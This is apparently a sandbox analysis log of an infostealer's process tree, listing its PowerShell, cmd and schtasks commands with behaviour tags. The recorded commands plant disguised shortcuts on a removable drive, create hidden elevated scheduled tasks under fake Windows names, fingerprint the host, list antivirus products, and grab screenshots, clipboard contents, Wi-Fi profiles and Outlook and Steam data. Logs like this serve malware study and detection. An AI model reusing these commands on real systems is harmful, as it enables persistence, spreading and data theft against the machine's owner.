    powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Documents.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:7224
- - C:\Windows\system32\cscript.exe
    cscript //nologo F:\svc.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:7216
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-Process -Name 'networkbroker_update' -ErrorAction SilentlyContinue).Count"
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    PID:5124
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Documents.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:7848
- - C:\Windows\system32\cscript.exe
    cscript //nologo F:\svc.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:5448
- C:\Windows\SoftwareDistribution\WindowsPush_Agent.exe
  C:\Windows\SoftwareDistribution\WindowsPush_Agent.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:748
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
    3⤵
    PID:3484
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
    3⤵
    PID:1668
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).MACAddress"
    3⤵
    PID:7012
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_BIOS).SerialNumber"
    3⤵
    PID:6664
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_ComputerSystem).Model"
    3⤵
    PID:1616
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn WindowsModules_Install /tr C:\Windows\SoftwareDistribution\WindowsUpdate_Client.exe /sc ONLOGON /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6316
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn TaskScheduler_Engine /tr C:\Windows\System32\Tasks\Microsoft\NetworkBroker_Update.exe /sc ONLOGON /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4140
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn HostProcess_Service /tr C:\Windows\L2Schemas\TaskScheduler_Engine.exe /sc ONLOGON /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6800
- - C:\Windows\system32\cmd.exe
    cmd /c "wmic csproduct get uuid"
    3⤵
    PID:5128
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:7260
- - C:\Windows\system32\cmd.exe
    cmd /c ver
    3⤵
    - Executes a command shell one-liner
    PID:7948
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command (Get-Culture).Name
    3⤵
    PID:8096
- - C:\Windows\system32\cmd.exe
    cmd /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    PID:6636
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:6516
- - C:\Windows\system32\cmd.exe
    cmd /c "vol %systemdrive% 2>nul"
    3⤵
    - Executes a command shell one-liner
    PID:6836
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Get-CimInstance Win32_PnPEntity | Where-Object { $_.PNPClass -eq 'Camera' -or $_.PNPClass -eq 'Image' } | Select-Object -ExpandProperty Caption"
    3⤵
    PID:5772
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_Battery).EstimatedChargeRemaining"
    3⤵
    PID:7584
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -Command "try { $p=New-Object -ComObject WMPlayer.OCX; Write-Output $p.settings.volume; [Runtime.InteropServices.Marshal]::ReleaseComObject($p) } catch { Write-Output 50 }"
    3⤵
    PID:7676
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Backup_2025.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
    3⤵
    PID:7948
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-Process -Name 'windowsupdate_client' -ErrorAction SilentlyContinue).Count"
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    PID:7948
- - C:\Windows\system32\cmd.exe
    cmd /c "wmic csproduct get uuid"
    3⤵
    PID:1204
- - C:\Windows\system32\cmd.exe
    cmd /c "vol %systemdrive% 2>nul"
    3⤵
    PID:7880
- - C:\Windows\system32\cmd.exe
    cmd /c ver
    3⤵
    PID:6184
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command (Get-Culture).Name
    3⤵
    PID:5908
- - C:\Windows\system32\cmd.exe
    cmd /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    PID:8084
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:4296
- - C:\Windows\system32\cmd.exe
    cmd /c "vol %systemdrive% 2>nul"
    3⤵
    - Executes a command shell one-liner
    PID:7972
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Get-CimInstance Win32_PnPEntity | Where-Object { $_.PNPClass -eq 'Camera' -or $_.PNPClass -eq 'Image' } | Select-Object -ExpandProperty Caption"
    3⤵
    PID:1380
  - - C:\Windows\system32\wermgr.exe
      "C:\Windows\system32\wermgr.exe" "-outproc" "0" "1380" "2072" "2028" "2076" "0" "0" "2080" "0" "0" "0" "0" "0"
      4⤵
      PID:3840
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_Battery).EstimatedChargeRemaining"
    3⤵
    PID:1204
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -Command "try { $p=New-Object -ComObject WMPlayer.OCX; Write-Output $p.settings.volume; [Runtime.InteropServices.Marshal]::ReleaseComObject($p) } catch { Write-Output 50 }"
    3⤵
    PID:6560
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Project_Files.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
    3⤵
    PID:3488
- - C:\Windows\system32\cscript.exe
    cscript //nologo F:\svc.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:7528
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Documents.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
    3⤵
    PID:8136
- - C:\Windows\system32\cscript.exe
    cscript //nologo F:\svc.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:1328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Project_Files.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  PID:4568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command hostname
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4088
- - C:\Windows\system32\HOSTNAME.EXE
    "C:\Windows\system32\HOSTNAME.EXE"
    3⤵
    PID:1096
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command [System.Environment]::UserName
  2⤵
  PID:3100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command [System.Environment]::MachineName
  2⤵
  PID:888
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command [System.Environment]::UserDomainName
  2⤵
  PID:3012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "(Get-WmiObject Win32_OperatingSystem).Caption + ' ' + (Get-WmiObject Win32_OperatingSystem).Version"
  2⤵
  PID:4448
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "(Get-WmiObject Win32_OperatingSystem).OSArchitecture"
  2⤵
  PID:3016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "(Get-WmiObject Win32_Processor).Name"
  2⤵
  PID:1904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "'{0:N2}' -f ((Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB)"
  2⤵
  PID:1000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "(Get-WmiObject Win32_VideoController).Name -join '; '"
  2⤵
  PID:1960
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "(Get-WmiObject Win32_BaseBoard).Manufacturer + ' ' + (Get-WmiObject Win32_BaseBoard).Product"
  2⤵
  PID:3544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "(Get-WmiObject Win32_BIOS).Manufacturer + ' ' + (Get-WmiObject Win32_BIOS).SMBIOSBIOSVersion"
  2⤵
  PID:1016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "Get-WmiObject Win32_DiskDrive | ForEach-Object { $_.Model + ' (' + ('{0:N0} GB' -f ($_.Size/1GB)) + ')' }"
  2⤵
  PID:4724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "Get-NetAdapter | Where-Object {$_.Status -eq 'Up'} | ForEach-Object { $_.Name + ' - ' + $_.LinkSpeed }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2148
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "Get-NetIPAddress -AddressFamily IPv4 | Where-Object {$_.IPAddress -notmatch '^127|^169'} | ForEach-Object { $_.InterfaceAlias + ': ' + $_.IPAddress }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "Get-NetAdapter | Where-Object {$_.Status -eq 'Up'} | ForEach-Object { $_.Name + ': ' + $_.MacAddress }"
  2⤵
  PID:1580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-Process -Name 'windowsupdate_client' -ErrorAction SilentlyContinue).Count"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  PID:3188
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "Get-WmiObject -Namespace root/SecurityCenter2 -Class AntiVirusProduct | ForEach-Object { $_.displayName + ' [state:' + $_.productState + ']' }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "Get-WmiObject -Namespace root/SecurityCenter2 -Class FirewallProduct | ForEach-Object { $_.displayName }"
  2⤵
  PID:3036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*,HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Where-Object {$_.DisplayName} | Select-Object -ExpandProperty DisplayName | Sort-Object -Unique"
  2⤵
  PID:2548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "Get-Service | Where-Object {$_.Status -eq 'Running'} | ForEach-Object { $_.Name + ' (' + $_.DisplayName + ')' }"
  2⤵
  PID:2024
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "Get-CimInstance Win32_StartupCommand | ForEach-Object { $_.Name + ' -> ' + $_.Command }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6024
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "Get-LocalUser | ForEach-Object { $_.Name + ' [' + $_.Enabled + ']' }"
  2⤵
  PID:760
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "Get-LocalGroupMember Administrators 2>$null | ForEach-Object { $_.Name }"
  2⤵
  PID:5288
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "[Environment]::GetEnvironmentVariable('Path','Machine') -split ';' | Where-Object {$_} | Out-String"
  2⤵
  PID:5960
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "(Get-Date) - (Get-CimInstance Win32_OperatingSystem).LastBootUpTime | ForEach-Object { $_.Days.ToString()+'d '+$_.Hours.ToString()+'h '+$_.Minutes.ToString()+'m' }"
  2⤵
  PID:5976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command (Get-TimeZone).DisplayName
  2⤵
  PID:5808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command (Get-Culture).DisplayName
  2⤵
  PID:5376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "(Get-WmiObject Win32_Keyboard).Description"
  2⤵
  PID:2592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "(Get-CimInstance Win32_OperatingSystem).LastBootUpTime.ToString('yyyy-MM-dd HH:mm:ss')"
  2⤵
  PID:5780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "(Get-WmiObject Win32_OperatingSystem).InstallDate.ToString('yyyy-MM-dd HH:mm:ss')"
  2⤵
  PID:1228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "(Get-ItemProperty 'HKLM:\System\CurrentControlSet\Control\Terminal Server').fDenyTSConnections"
  2⤵
  PID:2624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System').ConsentPromptBehaviorAdmin"
  2⤵
  PID:4044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-Process -Name 'windowsupdate_client' -ErrorAction SilentlyContinue).Count"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  PID:5312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "(Get-ChildItem $env:APPDATA\Microsoft\Windows\Recent -File | Sort-Object LastWriteTime -Desc | Select-Object -First 30 -ExpandProperty Name) -join \"`n\""
  2⤵
  PID:4272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "Get-ChildItem Env: | ForEach-Object { $_.Name + '=' + $_.Value }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4432
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -NoProfile -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $b=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bmp=New-Object System.Drawing.Bitmap($b.Width,$b.Height); $g=[System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location,[System.Drawing.Point]::Empty,$b.Size); $bmp.Save('C:\Users\Admin\AppData\Local\Temp\vanish_stealer_112920519\screenshot.png'); $g.Dispose(); $bmp.Dispose()"
  2⤵
  PID:5312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "Get-Clipboard -Raw"
  2⤵
  - Clipboard Data
  PID:4140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Documents.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
  2⤵
  PID:3224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "netsh wlan show profiles | Select-String ': ' | ForEach-Object { ($_ -split ': ')[1].Trim() }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:4392
- - C:\Windows\system32\netsh.exe
    "C:\Windows\system32\netsh.exe" wlan show profiles
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:5416
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "(Get-ItemProperty 'HKCU:\Software\Valve\Steam' -ErrorAction SilentlyContinue).SteamPath"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  PID:6820
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "Get-ChildItem 'HKCU:\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles' -Recurse -ErrorAction SilentlyContinue | ForEach-Object { Get-ItemProperty $_.PSPath -ErrorAction SilentlyContinue } | Select-Object * | Out-String"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  PID:6120
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-Process -Name 'windowsupdate_client' -ErrorAction SilentlyContinue).Count"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  PID:7368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-Process -Name 'windowsupdate_client' -ErrorAction SilentlyContinue).Count"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  PID:396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Backup_2025.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
  2⤵
  PID:7396
- C:\Windows\system32\cscript.exe
  cscript //nologo F:\svc.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:7336
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-Process -Name 'windowsupdate_client' -ErrorAction SilentlyContinue).Count"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  PID:5988

C:\ProgramData\Microsoft\Windows\Start Menu\WindowsUpdate_Client.exe
"C:\ProgramData\Microsoft\Windows\Start Menu\WindowsUpdate_Client.exe"
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3496
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).MACAddress"
  2⤵
  PID:4580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_BIOS).SerialNumber"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).Model"
  2⤵
  PID:4240
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn Edge_Update_Broker /tr C:\Users\Public\Documents\WindowsShell_Provider.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4244
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn WindowsShell_Engine /tr C:\Windows\System32\oobe\ServiceHost_LocalSystem.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1208
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn WindowsModules_Install /tr C:\Windows\Inf\WindowsShell_Helper.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  PID:2920
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  - Executes a command shell one-liner
  PID:2788
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:468
- C:\Windows\system32\cmd.exe
  cmd /c ver
  2⤵
  PID:4504
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command (Get-Culture).Name
  2⤵
  PID:4336
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  PID:1524
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:1664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Get-CimInstance Win32_PnPEntity | Where-Object { $_.PNPClass -eq 'Camera' -or $_.PNPClass -eq 'Image' } | Select-Object -ExpandProperty Caption"
  2⤵
  PID:1200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_Battery).EstimatedChargeRemaining"
  2⤵
  PID:2384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -Command "try { $p=New-Object -ComObject WMPlayer.OCX; Write-Output $p.settings.volume; [Runtime.InteropServices.Marshal]::ReleaseComObject($p) } catch { Write-Output 50 }"
  2⤵
  PID:3224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Backup_2025.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
  2⤵
  PID:1000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-Process -Name 'windowsshell_provider' -ErrorAction SilentlyContinue).Count"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  PID:5936
- C:\Users\Public\Documents\WindowsShell_Provider.exe
  C:\Users\Public\Documents\WindowsShell_Provider.exe
  2⤵
  PID:5144
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6972
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
    3⤵
    PID:6228
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).MACAddress"
    3⤵
    PID:7552
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_BIOS).SerialNumber"
    3⤵
    PID:7596
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_ComputerSystem).Model"
    3⤵
    PID:7176
- C:\Windows\System32\oobe\ServiceHost_LocalSystem.exe
  C:\Windows\System32\oobe\ServiceHost_LocalSystem.exe
  2⤵
  PID:5968
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
    3⤵
    PID:6848
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
    3⤵
    PID:6772
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_ComputerSystem).Model"
    3⤵
    PID:2980
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn WindowsShell_Agent /tr C:\Windows\Globalization\WindowsModules_Install.exe /sc ONLOGON /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2568
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn ServiceHost_Network /tr C:\Windows\Inf\NetworkBroker_Update.exe /sc ONLOGON /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7076
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn WindowsPush_Agent /tr C:\Users\Public\Music\WindowsShell_Broker.exe /sc ONLOGON /rl HIGHEST /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5760
- - C:\Windows\system32\cmd.exe
    cmd /c "wmic csproduct get uuid"
    3⤵
    PID:7180
- - C:\Windows\system32\cmd.exe
    cmd /c "vol %systemdrive% 2>nul"
    3⤵
    PID:7692
- - C:\Windows\system32\cmd.exe
    cmd /c ver
    3⤵
    PID:2644
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command (Get-Culture).Name
    3⤵
    PID:2796
- - C:\Windows\system32\cmd.exe
    cmd /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    PID:5636
- - C:\Windows\system32\cmd.exe
    cmd /c "vol %systemdrive% 2>nul"
    3⤵
    - Executes a command shell one-liner
    PID:4308
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Get-CimInstance Win32_PnPEntity | Where-Object { $_.PNPClass -eq 'Camera' -or $_.PNPClass -eq 'Image' } | Select-Object -ExpandProperty Caption"
    3⤵
    PID:4512
- C:\Windows\Inf\WindowsShell_Helper.exe
  C:\Windows\Inf\WindowsShell_Helper.exe
  2⤵
  PID:5584
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6968
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
    3⤵
    PID:5668
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).MACAddress"
    3⤵
    - Command and Scripting Interpreter: PowerShell
